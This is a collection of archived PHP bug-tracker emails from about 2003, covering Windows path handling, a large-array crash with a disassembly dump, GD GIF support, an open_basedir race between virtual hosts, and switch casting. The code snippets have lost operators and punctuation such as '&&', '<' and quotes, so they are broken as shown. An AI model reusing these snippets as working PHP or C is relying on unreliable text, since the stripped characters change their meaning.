result: -- Apache Logs: [Mon Sep 15 23:11:31 2003] [notice] Parent: child process exited with status 3221225477 -- Restarting. [Mon Sep 15 23:11:32 2003] [notice] Parent: Created child process 332 [Mon Sep 15 23:11:34 2003] [notice] Child 332: Child process is running [Mon Sep 15 23:11:34 2003] [notice] Child 332: Acquired the start mutex. [Mon Sep 15 23:11:34 2003] [notice] Child 332: Starting 250 worker threads. -- Edit this bug report at http://bugs.php.net/?id=25553edit=1
#25583 [Asn-Csd]: Incorrect handling of absolute path without drive.
ID: 25583 Updated by: [EMAIL PROTECTED] Reported By: d dot stogov at turck dot spb dot eu -Status: Assigned +Status: Closed Bug Type: Directory function related Operating System: Windows PHP Version: 4.3.3 Assigned To: iliaa New Comment: This bug has been fixed in CVS. In case this was a PHP problem, snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites in short time. Thank you for the report, and for helping us make PHP better. Previous Comments: [2003-09-18 04:05:37] d dot stogov at turck dot spb dot eu Description: This BUG is Windows releated. PHP thinks what filepathes started form one slash are relative. The problem comes from IS_ABSOLUTE_PATH definw which is defined in file TSRM/tsrm_virtual_cwd.h line 64. The original source is #define IS_ABSOLUTE_PATH(path, len) \ (len = 2 ((isalpha(path[0]) path[1] == ':') || (IS_SLASH(path[0]) IS_SLASH(path[1] but I think it must be changed to #define IS_ABSOLUTE_PATH(path, len) \ ((len = 2 isalpha(path[0]) path[1] == ':') || \ (len = 1 IS_SLASH(path[0]) IS_SLASH(path[1]))) I demonstrate the BUG of the glob() function, but it can occur in any place where IS_ABSOLUTE_PATH is used. Reproduce code: --- ?php function remove_drive($file) { return substr($file,2); } if (substr(PHP_OS,0,3) == WIN) { $drive = substr(getcwd(),0,2); $a1 = glob(/*); $a2 = array_map(remove_drive,glob($drive./*)); if ($a1==$a2) { echo ok; } else { echo fail; } } else { echo ok; } ? Expected result: ok Actual result: -- fail -- Edit this bug report at http://bugs.php.net/?id=25583edit=1
#25607 [Opn-WFx]: Crash of PHP 4.3.x, having a big array
ID: 25607 Updated by: [EMAIL PROTECTED] Reported By: php at burnsystems dot de -Status: Open +Status: Wont fix Bug Type: Reproducible crash Operating System: Win XP PHP Version: 4.3.3 New Comment: This is same as #23872, fixed in PHP 5, wont fix in PHP 4. Previous Comments: [2003-09-19 12:46:32] php at burnsystems dot de Description: Servus, I got a crash of 4.3.x under Apache and direct call of php.exe under windows, when the script creates a huge array. When $nAmount has a value over 32768 PHP and Apache crashes. Any suggestions or help, how to get a better description of this problem. Is it the same as following bug?? Bug #23872: reference to same variable(array) crash web server Thanks, Martin Brenn Reproduce code: --- ... script language=php $nAmount = 10; $szPlayerID = 'x'; for ( $nCounter = 0; $nCounter $nAmount; $nCounter++ ) { echo ( $nCounter . \r ); $aszExtracted [ $szPlayerID ] [ $nUnit ] ['type' ] = $aszUnit [ 'type' ]; $aszExtracted [ $szPlayerID ] [ $nUnit ] [ 'job' ] = $aszUnit [ 'job' ]; $nUnit++; } /script .. Expected result: No crash Actual result: -- Die Anweisung in 0x100b35ef verweist auf Speicher in 0x8. Der Vorgang written konnte nicht auf dem Speicher durchgeführt werden. The command in 0x100b35ef refers to memory in 0x008. The operation written couldn't be completed (or so). My VC++ only reported these line, I don't have a debug build. PHP4TS: 100B35DD 75 03jne 100B35E2 100B35DF 89 6B 14 mov dword ptr [ebx+14h],ebp 100B35E2 8B 43 10 mov eax,dword ptr [ebx+10h] 100B35E5 85 C0testeax,eax 100B35E7 75 03jne 100B35EC 100B35E9 89 6B 10 mov dword ptr [ebx+10h],ebp 100B35EC 8B 43 1C mov eax,dword ptr [ebx+1Ch] 100B35EF 89 2C B0 mov dword ptr [eax+esi*4],ebp - 100B35F2 A1 2C F5 13 10 mov eax,[1013F52C] 100B35F7 85 C0testeax,eax 100B35F9 74 02je 100B35FD 100B35FB FF D0calleax 100B35FD 8B 53 08 mov edx,dword ptr [ebx+8] 100B3600 8B 0Bmov ecx,dword ptr [ebx] 100B3602 42 inc edx 100B3603 8B C2mov eax,edx 100B3605 89 53 08 mov dword ptr [ebx+8],edx 100B3608 3B C1cmp eax,ecx 100B360A 76 09jbe 100B3615 100B360C 53 pushebx 100B360D E8 5E 05 00 00 call100B3B70 -- Edit this bug report at http://bugs.php.net/?id=25607edit=1
#25593 [Bgs]: GD2 GIF AND TTF ERRORS
ID: 25593 Updated by: [EMAIL PROTECTED] Reported By: omegatron at comcast dot net Status: Bogus Bug Type: *Configuration Issues Operating System: Windows PHP Version: 4.3.2 New Comment: 1. It is enabled in PHP win32 builds found at http://www.php.net 2. It does work fine. (in 4.3.3, at least) Previous Comments: [2003-09-19 01:01:57] omegatron at comcast dot net You obviously misunderstand. No one or no program is trying to produce a gif. This is a bug I can reproduce this on several windows systems but not on unix with the same program I have already dealt with and I know the software developer of this program. We have done extensive testing. The program itself reads a gif if gd enables it and converts it. The IMAGECREATEFROMGIF command is not working. It will not create from a gif as it does not read it as PHP is saying it is enabled when it is not. [2003-09-19 00:27:13] [EMAIL PROTECTED] Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. Works just fine for me using PHP 4.3.3. (creating GIFs does not and will not work) [2003-09-19 00:15:48] omegatron at comcast dot net It does not get created. imagecreatefromgif is false even though gif read is enabled. [2003-09-18 23:42:16] robert at profundis dot se Sorry it is imagecreatefromgif THIS FAILS Does imagecreatefromgif() fail? Not sure, but if it wasn't supported, I think you'd get an error about that the function doesn't exist. Exactly what error do you get? Is an image created, but empty? Does the function return false? This function works fine on several of my installations, including 4.3.2 and 4.3.3. imagegif is a temp fix to let one know gif is not supported and can't be used. I'm not sure what you mean here. imagegif() will not be supported if it's only READ ENABLED, because it encodes gifs. Even if imagegif() isn't supported, you should be able to use imagecreatefromgif(), as it only decodes. [2003-09-18 20:54:37] omegatron at comcast dot net Sorry it is imagecreatefromgif THIS FAILS imagegif is a temp fix to let one know gif is not supported and can't be used. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25593 -- Edit this bug report at http://bugs.php.net/?id=25593edit=1
#25601 [Dup-Bgs]: PHP displays incorrect error messages when pages are accessed at the same time
ID: 25601 Updated by: [EMAIL PROTECTED] Reported By: leiter at ifup dot net -Status: Duplicate +Status: Bogus Bug Type: Apache2 related Operating System: Linux PHP Version: 4.3.3 New Comment: Please do not submit the same bug more than once. An existing bug report already describes this very problem. Even if you feel that your issue is somewhat different, the resolution is likely to be the same. Because of this, we hope you add your comments to the existing bug instead. Thank you for your interest in PHP. .. Previous Comments: [2003-09-19 10:32:00] leiter at ifup dot net Sorry, seems to be a duplicate of #25417. [2003-09-19 05:02:06] leiter at ifup dot net Description: I'm running Apache 2.0.47 with prefork mpm under Linux. If I access example.org and example.com at the same time I get this errormessage: Warning: Unknown(): open_basedir restriction in effect. File(/var/www/example.com/index.php) is not within the allowed path(s): (/var/www/example.org) in Unknown on line 0 Warning: Unknown(/var/www/example.com/index.php): failed to open stream: Operation not permitted in Unknown on line 0 Warning: (null)(): Failed opening '/var/www/example.com/index.php' for inclusion (include_path='.:/opt/php4/lib/php') in Unknown on line 0 Note that example.com gets the limits for example.org. Reproduce code: --- VirtualHost ip:80 DocumentRoot /var/www/example.com ServerName example.com ServerAlias www.example.com RewriteEngine on # some rewrite rules here. shouldn't matter php_flag register_globals on /VirtualHost VirtualHost ip:80 DocumentRoot /var/www/example.org ServerName www.example.org ServerAlias example.org php_flag register_globals on php_admin_flag safe_mode on php_admin_value safe_mode_exec_dir /opt/apache2/safemode_exec php_admin_value open_basedir /var/www/example.org /VirtualHost Expected result: example.com should not be affected by restrictions for example.org! This only happens if the pages are requested at the same time, otherwise it works. Looks like a race condition. I'm not sure if this is a PHP or Apache2 bug. -- Edit this bug report at http://bugs.php.net/?id=25601edit=1
#25609 [Opn-Bgs]: feature request: sess_url_rewrite
ID: 25609 Updated by: [EMAIL PROTECTED] Reported By: underley at underley dot eu dot org -Status: Open +Status: Bogus Bug Type: Feature/Change Request Operating System: any PHP Version: 4.3.3 New Comment: No idea what this is about..try adding some example. (there is already trans-sid?) Previous Comments: [2003-09-19 14:21:35] underley at underley dot eu dot org Description: I think, that rewrite url function to add session id can be very helpful -- Edit this bug report at http://bugs.php.net/?id=25609edit=1
#25566 [Com]: switch expressions seem to get cast to specific type.
ID: 25566 Comment by: shadowfaxx at cc dot com Reported By: Jared dot Williams1 at ntlworld dot com Status: Open Bug Type:Scripting Engine problem PHP Version: 4.3.3 New Comment: To add to the above, it seems that the '0' case is the culprit. If you use the code below where '10' replaces '0', the weird behavior does not occur: $t = array(10,1,2,3,'*','+','a', 'b'); foreach($t as $v) switch ($v) { case 10: echo('0'); break; case 1: echo('1'); break; case 2: echo('2'); break; case 3: echo('3'); break; case '*': echo('*'); break; default: echo($v); break; } OutPut: 0123*+ab So it seems that Case 0: grabs all the cases which are of a different data type if the case expressions are not of the same type i.e. numeric and string. Previous Comments: [2003-09-16 18:47:44] Jared dot Williams1 at ntlworld dot com The first 5 array should read The first 4 array [2003-09-16 18:41:54] Jared dot Williams1 at ntlworld dot com Description: Switched expressions seem to be cast to a type before case matching occurs. If all case expressions are of the same type, either numeric, or string, this problem does not arise. It is not clear why, or really what type the switched expression is cast to before comparision. Reproduce code: --- $t = array(0,1,2,3,'*','+','a', 'b') foreach($t as $v) switch ($v) { case 0: echo('0'); break; case 1: echo('1'); break; case 2: echo('2'); break; case 3: echo('3'); break; case '*': echo('*'); break; default: echo($v); break; } Expected result: 0123*+ab The first 5 array elements are output their respective case statements, and the latter 3 are handled by the default case. Actual result: -- 0123 The first 5 array elements are output their respective case statements, and the latter 3 are handled the 0 case. -- Edit this bug report at http://bugs.php.net/?id=25566edit=1
#9037 [Com]: Multiple Extensions Fail to Load
ID: 9037 Comment by: knobbyman at yahoo dot com Reported By: jmegerman at xcurrent dot com Status: Closed Bug Type: Reproducible Crash Operating System: WinNT 4.0 SP6 PHP Version: 4.0.4pl1 New Comment: I don't quite follow when you say The extentions you mentioned all rely on external libraries that need to be in your system's path in order to be found. I'm trying to use gettext and I'm running into the exact same problem can you help me out? The only thing I can think of is instead of putting PHP on the C drive it's on D in a sub folder.. WinXP PHP 4.3.3 Apache/1.3.24 Previous Comments: [2001-02-17 17:52:37] [EMAIL PROTECTED] The extentions you mentioned all rely on external libraries that need to be in your system's path in order to be found. It strikes me odd, though, that you want to run the extensions to interface with Informix, MS SQL, OCI8, Oracle and Sybase at the same time for instance. [2001-01-31 15:48:26] jmegerman at xcurrent dot com Doing a stock Win32 binary installation, I get PHP to work. However, a number of extensions all fail to load with the the same error: PHP Warning: Unable to load dynamic library 'C:\PHP4\extensions\php_ext.dll' - The specified module could not be found. in Unknown on line 0... ext = {curl, fdf, gettext, ifx, interbase, ldap, mssql65, oci8, openssl, oracle, sablot, sybase_ct, yaz} All other extensions load successfully. All of the failed extensions are located in the correct path to be loaded. -- Edit this bug report at http://bugs.php.net/?id=9037edit=1
#13266 [Com]: Maybe not a PHP Library ?
ID: 13266 Comment by: adrian at ideasvivas dot com Reported By: atur at vigorsoft dot com Status: Bogus Bug Type: Dynamic loading Operating System: Windows NT 4.0 PHP Version: 4.0.6 New Comment: I Found this answer in this url; www.faqts.com/knowledge_base/index.phtml/fid/68 ANSWER: === You forgot to set the appropriate preprocessor flags for your C code. If you look hard at the C code that the 'ext_skel' script makes for you, you will see a small section that looks something like this: #ifdef COMPILE_DL_MYMODULE ZEND_GET_MODULE(mymodule) #endif If you do not set the value for 'COMPILE_DL_MYMODULE' into your preprocessor, then php.exe will not recognize your module as a php dll. To do this in Visual C++, go to Project Settings c/c++ tab Set Category to Preprocessor, and add COMPILE_DL_MYMODULE to the end of your preprocessor definitions. You should probably also leverage ZEND_WIN32 and PHP_WIN32 if you have windows specific code that you wish to wrapper in preprocessors. Welcome, Bex Previous Comments: [2001-09-13 02:02:24] [EMAIL PROTECTED] once again: ask the phpdev mailing list, please supscription information can be found on http://php.net/support.php [2001-09-13 01:43:30] atur at vigorsoft dot com Hi, The module entry is in the source.. I am pasting header and source file for reference.. --- /* -- */ /* php_mymodule.h --- after removing comments */ /* -- */ #ifndef PHP_MYMODULE_H #define PHP_MYMODULE_H extern zend_module_entry mymodule_module_entry; #define phpext_mymodule_ptr mymodule_module_entry #ifdef PHP_WIN32 #define PHP_MYMODULE_API __declspec(dllexport) #else #define PHP_MYMODULE_API #endif extern C { PHP_FUNCTION(confirm_mymodule_compiled); } #ifdef ZTS #define MYMODULE_G(v) (mymodule_globals-v) #define MYMODULE_LS_FETCH() zend_mymodule_globals *mymodule_globals = ts_resource(mymodule_globals_id) #else #define MYMODULE_G(v) (mymodule_globals.v) #define MYMODULE_LS_FETCH() #endif #endif /* PHP_MYMODULE_H */ /* -- */ /* mymodule.cpp --- after removing comments */ /* -- */ #define DHAVE_APDEBUG 1 #define DCOMPILE_DL_APDEBUG 1 #define ZTS 1 #ifdef HAVE_CONFIG_H #include config.h #endif #include php.h #include iostream.h extern C { #include ext/standard/info.h #include php_globals.h #include php_ini.h #include php_mymodule.h } /* True global resources - no need for thread safety here */ static int le_mymodule; /* Every user visible function must have an entry in mymodule_functions[]. */ function_entry mymodule_functions[] = { PHP_FE(confirm_mymodule_compiled,NULL) {NULL, NULL, NULL} }; zend_module_entry mymodule_module_entry = { mymodule, mymodule_functions, NULL,NULL,NULL,NULL,NULL, STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_MYMODULE extern C { ZEND_GET_MODULE(mymodule) } #endif PHP_FUNCTION(confirm_mymodule_compiled) { zval **arg; int len; char string[256]; if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, arg) == FAILURE) {WRONG_PARAM_COUNT;} convert_to_string_ex(arg); len = sprintf(string, Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP., mymodule, Z_STRVAL_PP(arg)); RETURN_STRINGL(string, len, 1); } --- Regards, Atur Shah [2001-09-12 12:26:30] [EMAIL PROTECTED] Make sure your module entry is in the source #ifdef COMPILE_DL_YOURMODULE ZEND_GET_MODULE(yourmodule) #endif - Markus [2001-09-12 11:51:17] [EMAIL PROTECTED] support problem and most likely not a bug (at least not enough info to find out), please ask the phpdev mailing list (and give more info) [2001-09-12 11:40:45] atur at vigorsoft dot com HI, I am trying to load newly made PHP extension module (C++). (e.g. mymodule.dll) using dl(). The error when accessing PHP file in browser with Apache Web Server is : Invalid Library (Maybe not a PHP Library) mymodule.dll I used these configurations : PHP 4.0.6 Apache 1.3.20 Windows NT 4.0 Visual C++ 6.0 Comments Please. Thanks. Atur Shah. ([EMAIL PROTECTED]) -- Edit this bug report at http://bugs.php.net/?id=13266edit=1